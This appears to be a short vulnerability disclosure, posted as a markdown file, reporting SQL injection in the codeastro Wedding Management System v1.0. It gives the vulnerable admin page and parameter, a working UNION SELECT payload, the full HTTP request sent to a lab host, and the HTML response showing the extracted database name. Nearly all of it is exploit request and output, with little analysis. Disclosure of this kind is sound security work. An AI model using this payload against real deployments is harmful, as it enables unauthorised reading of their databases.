debug601 Update SQLi-1.md History

1 contributor

28 lines (19 sloc) | 1.04 KB

Wedding Management System v1.0 by codeastr.com has SQL injection

vendors: https://codeastro.com/wedding-management-system-in-php-with-source-code/

Vulnerability File: \admin\blog_events_edit.php

Vulnerability location: /Wedding-Management/admin/blog_events_edit.php?id=, id

[+] Payload: id=-31%20union%20select%201,database(),3,4,5,6,7,8,9,10--+

dbname = dbwedding

```
GET /Wedding-Management/admin/blog_events_edit.php?id=-31%20union%20select%201,datab
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=0m2td1md252hlnr3nsbmc5ss99
Connection: close
```

```
GET
/Wedding-Management/admin/blog
_events_edit.php?id=-31%20Uni
on%20select%201,database(),3,
4,5,6,7,8,9,10--+ HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0
(Windows NT 10.0; WOW64;
rv:46.0) Gecko/20100101
Firefox/46.0
Accept:
text/html,application/xhtml+xm
l,application/xml;q=0.9,*/*;q
=0.8
Accept-Language:
zh-CN,zh;q=0.8,en-US;q=0.5,en
;q=0.3
Accept-Encoding: gzip,
deflate
DNT: 1
Cookie:
PHPSESSID=0m2td1md252hlnr3nsb
mc5ss99
Connection: close
```

```
                                    <option value="2">2</option>

                                                                    </select>
                                </div>

                                <div class="form-group">
                                    <label for="title">Title</label>
                                    <input type="text" name="title"
                                  class="form-control" value="dbwedding"
                                  id="title"
                                  placeholder="Enter title">
                                </div>

                            <div class="form-group">
                                <label for="description">Description:</label>
                                <textarea name="description" id="description" cols="30" rows='
placeholder="Enter description and vendor of this wedding">3</textarea>
                            </div>

                            <div class="form-row">

                                <div class="form-group col-md-6">
                                    <label >Preview Image</label>
                                    <input type="file" name="preview_image"
```